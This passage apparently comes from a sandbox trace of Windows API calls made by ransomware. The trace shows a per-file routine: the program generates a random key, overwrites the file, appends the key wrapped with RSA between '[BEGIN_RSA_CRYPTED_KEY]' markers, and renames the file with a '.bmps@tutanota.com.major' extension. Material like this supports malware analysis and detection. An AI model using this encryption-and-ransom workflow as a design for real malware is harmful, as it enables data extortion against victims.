CloseHandle (hObject=0x1840) returned 1 [0222.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.815] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0222.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0222.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66db40 | out: hHeap=0x570000) returned 1 [0222.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0222.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66df78 [0222.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0222.818] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0", dwFileAttributes=0x80) returned 1 [0222.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66db40 [0222.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x57eca8 [0222.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66db40 | out: hHeap=0x570000) returned 1 [0222.818] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.819] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1534001) returned 1 [0222.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x176831) returned 0x354b020 [0222.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x176831) returned 0x36d1020 [0222.820] ReadFile (in: hFile=0x1840, lpBuffer=0x354b020, nNumberOfBytesToRead=0x176831, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354b020*, lpNumberOfBytesRead=0x2e3f9b4*=0x176831, lpOverlapped=0x0) returned 1 [0223.395] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1534001, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0223.395] WriteFile (in: hFile=0x1840, lpBuffer=0x36d1020*, nNumberOfBytesToWrite=0x176831, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36d1020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x176831, lpOverlapped=0x0) returned 1 [0223.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x354b020 | out: hHeap=0x570000) returned 1 [0223.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x36d1020 | out: hHeap=0x570000) returned 1 [0223.404] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x176831 [0223.404] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.404] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.404] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0223.404] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0223.405] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0223.405] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0223.405] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cYNskt7N3wdU5KTZogsvtIVEoYxoi0p6dWTcfH4KMAYWvcU3Egk9NN2fsugd8zsN\n8Bp/St0scXYQLMJLxjdx0KGIx1RmI3GXJ3xNsf07zwZ30AMtbGh6iLQCcfzV6pSP\nkJmJw5m+jeiG6qFXGGQx2FRB74b5YG1EoiC5M0tIIRQNhc8TzJNMUsf0qaYEl2tm\n/dNQGf319x3U/WrkIQ0f9k4oM8Ov/ohmKYKig9y3dG1MS2+lc2B22HlxGkTEoyP9\nGGaiWUdJOJkcrFCFz2zQSy+eekKOzY/18PqX+fG6Eyzq1W59eZrAp0LZQlcZpmku\nXr1zw7kzNA/smNLDWVfcKQ==\n", pcchString=0x2e3f9a8) returned 1 [0223.414] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0223.414] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.414] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.414] CloseHandle (hObject=0x1840) returned 1 [0223.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0223.414] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0223.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0223.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0223.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66df78 | out: hHeap=0x570000) returned 1 [0223.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0223.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d5a0 [0223.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.417] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0223.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037", dwFileAttributes=0x80) returned 1 [0223.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d2d0 [0223.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x57eca8 [0223.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d2d0 | out: hHeap=0x570000) returned 1 [0223.418] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0223.419] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=92944) returned 1 [0223.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16b10) returned 0x3351010 [0223.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16b10) returned 0x3367b28 [0223.419] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x16b10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x16b10, lpOverlapped=0x0) returned 1 [0223.546] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-92944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0223.546] WriteFile (in: hFile=0x1840, lpBuffer=0x3367b28*, nNumberOfBytesToWrite=0x16b10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3367b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16b10, lpOverlapped=0x0) returned 1 [0223.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3351010 | out: hHeap=0x570000) returned 1 [0223.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3367b28 | out: hHeap=0x570000) returned 1 [0223.547] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16b10 [0223.547] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.547] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0223.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0223.548] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0223.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0223.548] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ULdLIes05YWKqJaNOjH/jN8oMkF46cfCYwh4nrC/4FxHuIfE4pxONDfKiApv8SNL\nazpNH+1aDPFFam1wAeDEKg8YeNiH1JudMJVqAEaygFjnzL7vk12VMElAROlFDoWe\n9L/y93LfC+ck9/J13ZFRSGeTttmNNNDUAu+OwriwQ/0obaEpUPqyVBlvkcbGo/B9\nuL7dJYNBLvOH+dWrvHRDqg2WJ+dudktKuHKE85ypmrVnvOisr3okVz2bequiL7Ko\nYKhQnEQs67anDviigs600nMmJl2AVh1CzPR3aBQnwgSpNXKVV8P5PowTKPSs+DNd\n5nZ8ptpl5EHOjzcjGza9pg==\n", pcchString=0x2e3f9a8) returned 1 [0223.548] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0223.548] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.548] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.548] CloseHandle (hObject=0x1840) returned 1 [0223.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0223.549] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0223.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0223.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d5a0 | out: hHeap=0x570000) returned 1 [0223.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0223.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d168 [0223.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.563] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0223.563] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77", dwFileAttributes=0x80) returned 1 [0223.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d9d8 [0223.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x57eca8 [0223.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d9d8 | out: hHeap=0x570000) returned 1 [0223.564] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0223.565] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=803) returned 1 [0223.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x323) returned 0x5a8108 [0223.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x323) returned 0x66e548 [0223.565] ReadFile (in: hFile=0x1840, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x323, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x323, lpOverlapped=0x0) returned 1 [0223.812] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0223.812] WriteFile (in: hFile=0x1840, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x323, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x323, lpOverlapped=0x0) returned 1 [0223.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0223.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0223.812] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x323 [0223.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.812] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0223.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0223.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0223.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0223.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ODu+6t4/fV9iqTn882ssDeCtHdicaM/UnDJC65y+j5mFXx0i24N29/5NHs00l1Uu\n7drS5oHao/sWZlkVTrncyLv+0fHexXaJog/kY8e8tEKRCE2kQOwPfqeAuvQcfDr+\nzwDwPCk9qTk1IZ2zb4le+xIUHY2REzGOEr/ySiL12TR02cvu8UjgH08aFoItrTJ4\nz5n2ky7Odpd0QApciv0rJ8svaPKJmlP1pbxtewZb+k62rwbCXc2DAIneqFgEs/qj\nqTHn9LjAJn6NCp7IJ5zTjRsms5Z9Ex23BE8GDgVMG9JmOmBa2fjROoA4B7zLKeWC\nF9YWQEO+edP3guD4shDEhg==\n", pcchString=0x2e3f9a8) returned 1 [0223.813] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0223.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.813] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.813] CloseHandle (hObject=0x1840) returned 1 [0223.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0223.813] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d168 | out: hHeap=0x570000) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0223.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661a20 | out: hHeap=0x570000) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660438 | out: hHeap=0x570000) returned 1 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0223.816] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf78aa81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32a20 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0223.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0223.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0223.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0223.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.817] GetLastError () returned 0x0 [0223.817] SetLastError (dwErrCode=0x0) [0223.817] GetLastError () returned 0x0 [0223.817] SetLastError (dwErrCode=0x0) [0223.817] GetLastError () returned 0x0 [0223.817] SetLastError (dwErrCode=0x0) [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0223.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f32a60 [0223.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f32a60 | out: hHeap=0x570000) returned 1 [0223.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0223.818] FindNextFileW (in: hFindFile=0x2f32a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf78aa81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, 